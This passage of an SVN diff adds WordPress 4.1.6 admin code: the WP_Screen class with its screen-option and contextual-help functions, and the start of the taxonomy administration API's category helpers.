+		 * Filter the default list of hidden meta boxes.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array     $hidden An array of meta boxes hidden by default.
+		 * @param WP_Screen $screen WP_Screen object of the current screen.
+		 */
+		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
+	}
+
+	/**
+	 * Filter the list of hidden meta boxes.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array     $hidden       An array of hidden meta boxes.
+	 * @param WP_Screen $screen       WP_Screen object of the current screen.
+	 * @param bool      $use_defaults Whether to show the default meta boxes.
+	 *                                Default true.
+	 */
+	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
+}
+
+/**
+ * Register and configure an admin screen option
+ *
+ * @since 3.1.0
+ *
+ * @param string $option An option name.
+ * @param mixed $args Option-dependent arguments.
+ */
+function add_screen_option( $option, $args = array() ) {
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return;
+
+	$current_screen->add_option( $option, $args );
+}
+
+/**
+ * Get the current screen object
+ *
+ * @since 3.1.0
+ *
+ * @return WP_Screen Current screen object
+ */
+function get_current_screen() {
+	global $current_screen;
+
+	if ( ! isset( $current_screen ) )
+		return null;
+
+	return $current_screen;
+}
+
+/**
+ * Set the current screen object
+ *
+ * @since 3.0.0
+ *
+ * @param mixed $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
+ *	or an existing screen object.
+ */
+function set_current_screen( $hook_name = '' ) {
+	WP_Screen::get( $hook_name )->set_current_screen();
+}
+
+/**
+ * A class representing the admin screen.
+ *
+ * @since 3.3.0
+ * @access public
+ */
+final class WP_Screen {
+	/**
+	 * Any action associated with the screen. 'add' for *-add.php and *-new.php screens. Empty otherwise.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $action;
+
+	/**
+	 * The base type of the screen. This is typically the same as $id but with any post types and taxonomies stripped.
+	 * For example, for an $id of 'edit-post' the base is 'edit'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $base;
+
+	/**
+	 * The number of columns to display. Access with get_columns().
+	 *
+	 * @since 3.4.0
+	 * @var int
+	 * @access private
+	 */
+	private $columns = 0;
+
+	/**
+	 * The unique ID of the screen.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $id;
+
+	/**
+	 * Which admin the screen is in. network | user | site | false
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 * @access protected
+	 */
+	protected $in_admin;
+
+	/**
+	 * Whether the screen is in the network admin.
+	 *
+	 * Deprecated. Use in_admin() instead.
+	 *
+	 * @since 3.3.0
+	 * @deprecated 3.5.0
+	 * @var bool
+	 * @access public
+	 */
+	public $is_network;
+
+	/**
+	 * Whether the screen is in the user admin.
+	 *
+	 * Deprecated. Use in_admin() instead.
+	 *
+	 * @since 3.3.0
+	 * @deprecated 3.5.0
+	 * @var bool
+	 * @access public
+	 */
+	public $is_user;
+
+	/**
+	 * The base menu parent.
+	 * This is derived from $parent_file by removing the query string and any .php extension.
+	 * $parent_file values of 'edit.php?post_type=page' and 'edit.php?post_type=post' have a $parent_base of 'edit'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $parent_base;
+
+	/**
+	 * The parent_file for the screen per the admin menu system.
+	 * Some $parent_file values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $parent_file;
+
+	/**
+	 * The post type associated with the screen, if any.
+	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
+	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $post_type;
+
+	/**
+	 * The taxonomy associated with the screen, if any.
+	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
+	 * @since 3.3.0
+	 * @var string
+	 * @access public
+	 */
+	public $taxonomy;
+
+	/**
+	 * The help tab data associated with the screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var array
+	 * @access private
+	 */
+	private $_help_tabs = array();
+
+	/**
+	 * The help sidebar data associated with screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access private
+	 */
+	private $_help_sidebar = '';
+
+	/**
+	 * Stores old string-based help.
+	 */
+	private static $_old_compat_help = array();
+
+	/**
+	 * The screen options associated with screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var array
+	 * @access private
+	 */
+	private $_options = array();
+
+	/**
+	 * The screen object registry.
+	 *
+	 * @since 3.3.0
+	 * @var array
+	 * @access private
+	 */
+	private static $_registry = array();
+
+	/**
+	 * Stores the result of the public show_screen_options function.
+	 *
+	 * @since 3.3.0
+	 * @var bool
+	 * @access private
+	 */
+	private $_show_screen_options;
+
+	/**
+	 * Stores the 'screen_settings' section of screen options.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 * @access private
+	 */
+	private $_screen_settings;
+
+	/**
+	 * Fetches a screen object.
+	 *
+	 * @since 3.3.0
+	 * @access public
+	 *
+	 * @param string $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
+	 * 	Defaults to the current $hook_suffix global.
+	 * @return WP_Screen Screen object.
+	 */
+	public static function get( $hook_name = '' ) {
+
+		if ( is_a( $hook_name, 'WP_Screen' ) )
+			return $hook_name;
+
+		$post_type = $taxonomy = null;
+		$in_admin = false;
+		$action = '';
+
+		if ( $hook_name )
+			$id = $hook_name;
+		else
+			$id = $GLOBALS['hook_suffix'];
+
+		// For those pesky meta boxes.
+		if ( $hook_name && post_type_exists( $hook_name ) ) {
+			$post_type = $id;
+			$id = 'post'; // changes later. ends up being $base.
+		} else {
+			if ( '.php' == substr( $id, -4 ) )
+				$id = substr( $id, 0, -4 );
+
+			if ( 'post-new' == $id || 'link-add' == $id || 'media-new' == $id || 'user-new' == $id ) {
+				$id = substr( $id, 0, -4 );
+				$action = 'add';
+			}
+		}
+
+		if ( ! $post_type && $hook_name ) {
+			if ( '-network' == substr( $id, -8 ) ) {
+				$id = substr( $id, 0, -8 );
+				$in_admin = 'network';
+			} elseif ( '-user' == substr( $id, -5 ) ) {
+				$id = substr( $id, 0, -5 );
+				$in_admin = 'user';
+			}
+
+			$id = sanitize_key( $id );
+			if ( 'edit-comments' != $id && 'edit-tags' != $id && 'edit-' == substr( $id, 0, 5 ) ) {
+				$maybe = substr( $id, 5 );
+				if ( taxonomy_exists( $maybe ) ) {
+					$id = 'edit-tags';
+					$taxonomy = $maybe;
+				} elseif ( post_type_exists( $maybe ) ) {
+					$id = 'edit';
+					$post_type = $maybe;
+				}
+			}
+
+			if ( ! $in_admin )
+				$in_admin = 'site';
+		} else {
+			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN )
+				$in_admin = 'network';
+			elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN )
+				$in_admin = 'user';
+			else
+				$in_admin = 'site';
+		}
+
+		if ( 'index' == $id )
+			$id = 'dashboard';
+		elseif ( 'front' == $id )
+			$in_admin = false;
+
+		$base = $id;
+
+		// If this is the current screen, see if we can be more accurate for post types and taxonomies.
+		if ( ! $hook_name ) {
+			if ( isset( $_REQUEST['post_type'] ) )
+				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
+			if ( isset( $_REQUEST['taxonomy'] ) )
+				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;
+
+			switch ( $base ) {
+				case 'post' :
+					if ( isset( $_GET['post'] ) )
+						$post_id = (int) $_GET['post'];
+					elseif ( isset( $_POST['post_ID'] ) )
+						$post_id = (int) $_POST['post_ID'];
+					else
+						$post_id = 0;
+
+					if ( $post_id ) {
+						$post = get_post( $post_id );
+						if ( $post )
+							$post_type = $post->post_type;
+					}
+					break;
+				case 'edit-tags' :
+					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) )
+						$post_type = 'post';
+					break;
+			}
+		}
+
+		switch ( $base ) {
+			case 'post' :
+				if ( null === $post_type )
+					$post_type = 'post';
+				$id = $post_type;
+				break;
+			case 'edit' :
+				if ( null === $post_type )
+					$post_type = 'post';
+				$id .= '-' . $post_type;
+				break;
+			case 'edit-tags' :
+				if ( null === $taxonomy )
+					$taxonomy = 'post_tag';
+				// The edit-tags ID does not contain the post type. Look for it in the request.
+				if ( null === $post_type ) {
+					$post_type = 'post';
+					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
+						$post_type = $_REQUEST['post_type'];
+				}
+
+				$id = 'edit-' . $taxonomy;
+				break;
+		}
+
+		if ( 'network' == $in_admin ) {
+			$id   .= '-network';
+			$base .= '-network';
+		} elseif ( 'user' == $in_admin ) {
+			$id   .= '-user';
+			$base .= '-user';
+		}
+
+		if ( isset( self::$_registry[ $id ] ) ) {
+			$screen = self::$_registry[ $id ];
+			if ( $screen === get_current_screen() )
+				return $screen;
+		} else {
+			$screen = new WP_Screen();
+			$screen->id     = $id;
+		}
+
+		$screen->base       = $base;
+		$screen->action     = $action;
+		$screen->post_type  = (string) $post_type;
+		$screen->taxonomy   = (string) $taxonomy;
+		$screen->is_user    = ( 'user' == $in_admin );
+		$screen->is_network = ( 'network' == $in_admin );
+		$screen->in_admin   = $in_admin;
+
+		self::$_registry[ $id ] = $screen;
+
+		return $screen;
+	}
+
+	/**
+	 * Makes the screen object the current screen.
+	 *
+	 * @see set_current_screen()
+	 * @since 3.3.0
+	 */
+	public function set_current_screen() {
+		global $current_screen, $taxnow, $typenow;
+		$current_screen = $this;
+		$taxnow = $this->taxonomy;
+		$typenow = $this->post_type;
+
+		/**
+		 * Fires after the current screen has been set.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param WP_Screen $current_screen Current WP_Screen object.
+		 */
+		do_action( 'current_screen', $current_screen );
+	}
+
+	/**
+	 * Constructor
+	 *
+	 * @since 3.3.0
+	 * @access private
+	 */
+	private function __construct() {}
+
+	/**
+	 * Indicates whether the screen is in a particular admin
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $admin The admin to check against (network | user | site).
+	 * If empty any of the three admins will result in true.
+	 * @return boolean True if the screen is in the indicated admin, false otherwise.
+	 *
+	 */
+	public function in_admin( $admin = null ) {
+		if ( empty( $admin ) )
+			return (bool) $this->in_admin;
+
+		return ( $admin == $this->in_admin );
+	}
+
+	/**
+	 * Sets the old string-based contextual help for the screen.
+	 *
+	 * For backwards compatibility.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param WP_Screen $screen A screen object.
+	 * @param string $help Help text.
+	 */
+	public static function add_old_compat_help( $screen, $help ) {
+		self::$_old_compat_help[ $screen->id ] = $help;
+	}
+
+	/**
+	 * Set the parent information for the screen.
+	 * This is called in admin-header.php after the menu parent for the screen has been determined.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
+	 */
+	public function set_parentage( $parent_file ) {
+		$this->parent_file = $parent_file;
+		list( $this->parent_base ) = explode( '?', $parent_file );
+		$this->parent_base = str_replace( '.php', '', $this->parent_base );
+	}
+
+	/**
+	 * Adds an option for the screen.
+	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add screen options.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $option Option ID
+	 * @param mixed $args Option-dependent arguments.
+	 */
+	public function add_option( $option, $args = array() ) {
+		$this->_options[ $option ] = $args;
+	}
+
+	/**
+	 * Remove an option from the screen.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param string $option Option ID.
+	 */
+	public function remove_option( $option ) {
+		unset( $this->_options[ $option ] );
+	}
+
+	/**
+	 * Remove all options from the screen.
+	 *
+	 * @since 3.8.0
+	 */
+	public function remove_options() {
+		$this->_options = array();
+	}
+
+	/**
+	 * Get the options registered for the screen.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @return array Options with arguments.
+	 */
+	public function get_options() {
+		return $this->_options;
+	}
+
+	/**
+	 * Gets the arguments for an option for the screen.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $option Option name.
+	 * @param string $key    Optional. Specific array key for when the option is an array.
+	 *                       Default false.
+	 * @return string The option value if set, null otherwise.
+	 */
+	public function get_option( $option, $key = false ) {
+		if ( ! isset( $this->_options[ $option ] ) )
+			return null;
+		if ( $key ) {
+			if ( isset( $this->_options[ $option ][ $key ] ) )
+				return $this->_options[ $option ][ $key ];
+			return null;
+		}
+		return $this->_options[ $option ];
+	}
+
+	/**
+	 * Gets the help tabs registered for the screen.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array Help tabs with arguments.
+	 */
+	public function get_help_tabs() {
+		return $this->_help_tabs;
+	}
+
+	/**
+	 * Gets the arguments for a help tab.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Help Tab ID.
+	 * @return array Help tab arguments.
+	 */
+	public function get_help_tab( $id ) {
+		if ( ! isset( $this->_help_tabs[ $id ] ) )
+			return null;
+		return $this->_help_tabs[ $id ];
+	}
+
+	/**
+	 * Add a help tab to the contextual help for the screen.
+	 * Call this on the load-$pagenow hook for the relevant screen.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $args
+	 * - string   - title    - Title for the tab.
+	 * - string   - id       - Tab ID. Must be HTML-safe.
+	 * - string   - content  - Help tab content in plain text or HTML. Optional.
+	 * - callback - callback - A callback to generate the tab content. Optional.
+	 *
+	 */
+	public function add_help_tab( $args ) {
+		$defaults = array(
+			'title'    => false,
+			'id'       => false,
+			'content'  => '',
+			'callback' => false,
+		);
+		$args = wp_parse_args( $args, $defaults );
+
+		$args['id'] = sanitize_html_class( $args['id'] );
+
+		// Ensure we have an ID and title.
+		if ( ! $args['id'] || ! $args['title'] )
+			return;
+
+		// Allows for overriding an existing tab with that ID.
+		$this->_help_tabs[ $args['id'] ] = $args;
+	}
+
+	/**
+	 * Removes a help tab from the contextual help for the screen.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $id The help tab ID.
+	 */
+	public function remove_help_tab( $id ) {
+		unset( $this->_help_tabs[ $id ] );
+	}
+
+	/**
+	 * Removes all help tabs from the contextual help for the screen.
+	 *
+	 * @since 3.3.0
+	 */
+	public function remove_help_tabs() {
+		$this->_help_tabs = array();
+	}
+
+	/**
+	 * Gets the content from a contextual help sidebar.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Contents of the help sidebar.
+	 */
+	public function get_help_sidebar() {
+		return $this->_help_sidebar;
+	}
+
+	/**
+	 * Add a sidebar to the contextual help for the screen.
+	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add a sidebar to the contextual help.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $content Sidebar content in plain text or HTML.
+	 */
+	public function set_help_sidebar( $content ) {
+		$this->_help_sidebar = $content;
+	}
+
+	/**
+	 * Gets the number of layout columns the user has selected.
+	 *
+	 * The layout_columns option controls the max number and default number of
+	 * columns. This method returns the number of columns within that range selected
+	 * by the user via Screen Options. If no selection has been made, the default
+	 * provisioned in layout_columns is returned. If the screen does not support
+	 * selecting the number of layout columns, 0 is returned.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return int Number of columns to display.
+	 */
+	public function get_columns() {
+		return $this->columns;
+	}
+
+	/**
+	 * Render the screen's help section.
+	 *
+	 * This will trigger the deprecated filters for backwards compatibility.
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_screen_meta() {
+
+		/**
+		 * Filter the legacy contextual help list.
+		 *
+		 * @since 2.7.0
+		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+		 *                   get_current_screen()->remove_help_tab() instead.
+		 *
+		 * @param array     $old_compat_help Old contextual help.
+		 * @param WP_Screen $this            Current WP_Screen instance.
+		 */
+		self::$_old_compat_help = apply_filters( 'contextual_help_list', self::$_old_compat_help, $this );
+
+		$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';
+
+		/**
+		 * Filter the legacy contextual help text.
+		 *
+		 * @since 2.7.0
+		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+		 *                   get_current_screen()->remove_help_tab() instead.
+		 *
+		 * @param string    $old_help  Help text that appears on the screen.
+		 * @param string    $screen_id Screen ID.
+		 * @param WP_Screen $this      Current WP_Screen instance.
+		 *
+		 */
+		$old_help = apply_filters( 'contextual_help', $old_help, $this->id, $this );
+
+		// Default help only if there is no old-style block of text and no new-style help tabs.
+		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {
+
+			/**
+			 * Filter the default legacy contextual help text.
+			 *
+			 * @since 2.8.0
+			 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+			 *                   get_current_screen()->remove_help_tab() instead.
+			 *
+			 * @param string $old_help_default Default contextual help text.
+			 */
+			$default_help = apply_filters( 'default_contextual_help', '' );
+			if ( $default_help )
+				$old_help = '<p>' . $default_help . '</p>';
+		}
+
+		if ( $old_help ) {
+			$this->add_help_tab( array(
+				'id'      => 'old-contextual-help',
+				'title'   => __('Overview'),
+				'content' => $old_help,
+			) );
+		}
+
+		$help_sidebar = $this->get_help_sidebar();
+
+		$help_class = 'hidden';
+		if ( ! $help_sidebar )
+			$help_class .= ' no-sidebar';
+
+		// Time to render!
+		?>
+		<div id="screen-meta" class="metabox-prefs">
+
+			<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e('Contextual Help Tab'); ?>">
+				<div id="contextual-help-back"></div>
+				<div id="contextual-help-columns">
+					<div class="contextual-help-tabs">
+						<ul>
+						<?php
+						$class = ' class="active"';
+						foreach ( $this->get_help_tabs() as $tab ) :
+							$link_id  = "tab-link-{$tab['id']}";
+							$panel_id = "tab-panel-{$tab['id']}";
+							?>
+
+							<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
+								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
+									<?php echo esc_html( $tab['title'] ); ?>
+								</a>
+							</li>
+						<?php
+							$class = '';
+						endforeach;
+						?>
+						</ul>
+					</div>
+
+					<?php if ( $help_sidebar ) : ?>
+					<div class="contextual-help-sidebar">
+						<?php echo $help_sidebar; ?>
+					</div>
+					<?php endif; ?>
+
+					<div class="contextual-help-tabs-wrap">
+						<?php
+						$classes = 'help-tab-content active';
+						foreach ( $this->get_help_tabs() as $tab ):
+							$panel_id = "tab-panel-{$tab['id']}";
+							?>
+
+							<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
+								<?php
+								// Print tab content.
+								echo $tab['content'];
+
+								// If it exists, fire tab callback.
+								if ( ! empty( $tab['callback'] ) )
+									call_user_func_array( $tab['callback'], array( $this, $tab ) );
+								?>
+							</div>
+						<?php
+							$classes = 'help-tab-content';
+						endforeach;
+						?>
+					</div>
+				</div>
+			</div>
+		<?php
+		// Setup layout columns
+
+		/**
+		 * Filter the array of screen layout columns.
+		 *
+		 * This hook provides back-compat for plugins using the back-compat
+		 * filter instead of add_screen_option().
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array     $empty_columns Empty array.
+		 * @param string    $screen_id     Screen ID.
+		 * @param WP_Screen $this          Current WP_Screen instance.
+		 */
+		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );
+
+		if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) )
+			$this->add_option( 'layout_columns', array('max' => $columns[ $this->id ] ) );
+
+		if ( $this->get_option( 'layout_columns' ) ) {
+			$this->columns = (int) get_user_option("screen_layout_$this->id");
+
+			if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) )
+				$this->columns = $this->get_option( 'layout_columns', 'default' );
+		}
+		$GLOBALS[ 'screen_layout_columns' ] = $this->columns; // Set the global for back-compat.
+
+		// Add screen options
+		if ( $this->show_screen_options() )
+			$this->render_screen_options();
+		?>
+		</div>
+		<?php
+		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() )
+			return;
+		?>
+		<div id="screen-meta-links">
+		<?php if ( $this->get_help_tabs() ) : ?>
+			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
+			<a href="#contextual-help-wrap" id="contextual-help-link" class="show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></a>
+			</div>
+		<?php endif;
+		if ( $this->show_screen_options() ) : ?>
+			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
+			<a href="#screen-options-wrap" id="show-settings-link" class="show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></a>
+			</div>
+		<?php endif; ?>
+		</div>
+		<?php
+	}
+
+	public function show_screen_options() {
+		global $wp_meta_boxes;
+
+		if ( is_bool( $this->_show_screen_options ) )
+			return $this->_show_screen_options;
+
+		$columns = get_column_headers( $this );
+
+		$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );
+
+		switch ( $this->base ) {
+			case 'widgets':
+				$this->_screen_settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
+				break;
+			case 'post' :
+				$expand = '<div class="editor-expand hidden"><label for="editor-expand-toggle">';
+				$expand .= '<input type="checkbox" id="editor-expand-toggle"' . checked( get_user_setting( 'editor_expand', 'on' ), 'on', false ) . ' />';
+				$expand .= __( 'Enable full-height editor and distraction-free functionality.' ) . '</label></div>';
+				$this->_screen_settings = $expand;
+				break;
+			default:
+				$this->_screen_settings = '';
+				break;
+		}
+
+		/**
+		 * Filter the screen settings text displayed in the Screen Options tab.
+		 *
+		 * This filter is currently only used on the Widgets screen to enable
+		 * accessibility mode.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string    $screen_settings Screen settings.
+		 * @param WP_Screen $this            WP_Screen object.
+		 */
+		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );
+
+		if ( $this->_screen_settings || $this->_options )
+			$show_screen = true;
+
+		/**
+		 * Filter whether to show the Screen Options tab.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param bool      $show_screen Whether to show Screen Options tab.
+		 *                               Default true.
+		 * @param WP_Screen $this        Current WP_Screen instance.
+		 */
+		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
+		return $this->_show_screen_options;
+	}
+
+	/**
+	 * Render the screen options tab.
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_screen_options() {
+		global $wp_meta_boxes;
+
+		$columns = get_column_headers( $this );
+		$hidden  = get_hidden_columns( $this );
+
+		?>
+		<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="<?php esc_attr_e('Screen Options Tab'); ?>">
+		<form id="adv-settings" action="" method="post">
+		<?php if ( isset( $wp_meta_boxes[ $this->id ] ) || $this->get_option( 'per_page' ) || ( $columns && empty( $columns['_title'] ) ) ) : ?>
+			<h5><?php _e( 'Show on screen' ); ?></h5>
+		<?php
+		endif;
+
+		if ( isset( $wp_meta_boxes[ $this->id ] ) ) : ?>
+			<div class="metabox-prefs">
+				<?php
+					meta_box_prefs( $this );
+
+					if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
+						if ( isset( $_GET['welcome'] ) ) {
+							$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
+							update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
+						} else {
+							$welcome_checked = get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
+							if ( 2 == $welcome_checked && wp_get_current_user()->user_email != get_option( 'admin_email' ) )
+								$welcome_checked = false;
+						}
+						echo '<label for="wp_welcome_panel-hide">';
+						echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
+						echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
+					}
+				?>
+				<br class="clear" />
+			</div>
+			<?php endif;
+			if ( $columns ) :
+				if ( ! empty( $columns['_title'] ) ) : ?>
+			<h5><?php echo $columns['_title']; ?></h5>
+			<?php endif; ?>
+			<div class="metabox-prefs">
+				<?php
+				$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');
+
+				foreach ( $columns as $column => $title ) {
+					// Can't hide these for they are special
+					if ( in_array( $column, $special ) )
+						continue;
+					if ( empty( $title ) )
+						continue;
+
+					if ( 'comments' == $column )
+						$title = __( 'Comments' );
+					$id = "$column-hide";
+					echo '<label for="' . $id . '">';
+					echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( !in_array($column, $hidden), true, false ) . ' />';
+					echo "$title</label>\n";
+				}
+				?>
+				<br class="clear" />
+			</div>
+		<?php endif;
+
+		$this->render_screen_layout();
+		$this->render_per_page_options();
+		echo $this->_screen_settings;
+
+		?>
+		<div><?php wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false ); ?></div>
+		</form>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Render the option for number of columns on the page
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_screen_layout() {
+		if ( ! $this->get_option('layout_columns') )
+			return;
+
+		$screen_layout_columns = $this->get_columns();
+		$num = $this->get_option( 'layout_columns', 'max' );
+
+		?>
+		<h5 class="screen-layout"><?php _e('Screen Layout'); ?></h5>
+		<div class='columns-prefs'><?php
+			_e('Number of Columns:');
+			for ( $i = 1; $i <= $num; ++$i ):
+				?>
+				<label class="columns-prefs-<?php echo $i; ?>">
+					<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>'
+						<?php checked( $screen_layout_columns, $i ); ?> />
+					<?php echo esc_html( $i ); ?>
+				</label>
+				<?php
+			endfor; ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Render the items per page option
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_per_page_options() {
+		if ( ! $this->get_option( 'per_page' ) )
+			return;
+
+		$per_page_label = $this->get_option( 'per_page', 'label' );
+
+		$option = $this->get_option( 'per_page', 'option' );
+		if ( ! $option )
+			$option = str_replace( '-', '_', "{$this->id}_per_page" );
+
+		$per_page = (int) get_user_option( $option );
+		if ( empty( $per_page ) || $per_page < 1 ) {
+			$per_page = $this->get_option( 'per_page', 'default' );
+			if ( ! $per_page )
+				$per_page = 20;
+		}
+
+		if ( 'edit_comments_per_page' == $option ) {
+			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';
+
+			/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
+			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
+		} elseif ( 'categories_per_page' == $option ) {
+			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
+			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
+		} else {
+			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
+			$per_page = apply_filters( $option, $per_page );
+		}
+
+		// Back compat
+		if ( isset( $this->post_type ) ) {
+			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
+		}
+
+		?>
+		<div class="screen-options">
+			<?php if ( $per_page_label ) : ?>
+				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
+					id="<?php echo esc_attr( $option ); ?>" maxlength="3"
+					value="<?php echo esc_attr( $per_page ); ?>" />
+				<label for="<?php echo esc_attr( $option ); ?>">
+					<?php echo esc_html( $per_page_label ); ?>
+				</label>
+			<?php endif;
+
+			echo get_submit_button( __( 'Apply' ), 'button', 'screen-options-apply', false ); ?>
+			<input type='hidden' name='wp_screen_options[option]' value='<?php echo esc_attr($option); ?>' />
+		</div>
+		<?php
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/taxonomy.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/taxonomy.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/taxonomy.php	(revision 33402)
@@ -0,0 +1,287 @@
+<?php
+/**
+ * WordPress Taxonomy Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+//
+// Category
+//
+
+/**
+ * Check whether a category exists.
+ *
+ * @since 2.0.0
+ *
+ * @see term_exists()
+ *
+ * @param int|string $cat_name Category name.
+ * @param int        $parent   Optional. ID of parent term.
+ * @return mixed
+ */
+function category_exists( $cat_name, $parent = null ) {
+	$id = term_exists($cat_name, 'category', $parent);
+	if ( is_array($id) )
+		$id = $id['term_id'];
+	return $id;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.0.0
+ *
+ * @param int $id
+ * @return object
+ */
+function get_category_to_edit( $id ) {
+	$category = get_term( $id, 'category', OBJECT, 'edit' );
+	_make_cat_compat( $category );
+	return $category;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.0.0
+ *
+ * @param int|string $cat_name
+ * @param int        $parent
+ * @return int|WP_Error
+ */
+function wp_create_category( $cat_name, $parent = 0 ) {
+	if ( $id = category_exists($cat_name, $parent) )
+		return $id;
+
+	return wp_insert_category( array('cat_name' => $cat_name, 'category_parent' => $parent) );
+}
+
+/**
+ * Create categories for the given post.
+ *
+ * @since 2.0.0
+ *
+ * @param array $categories List of categories to create.
+ * @param int   $post_id    Optional. The post ID. Default empty.
+ * @return List of categories to create for the given post.
+ */
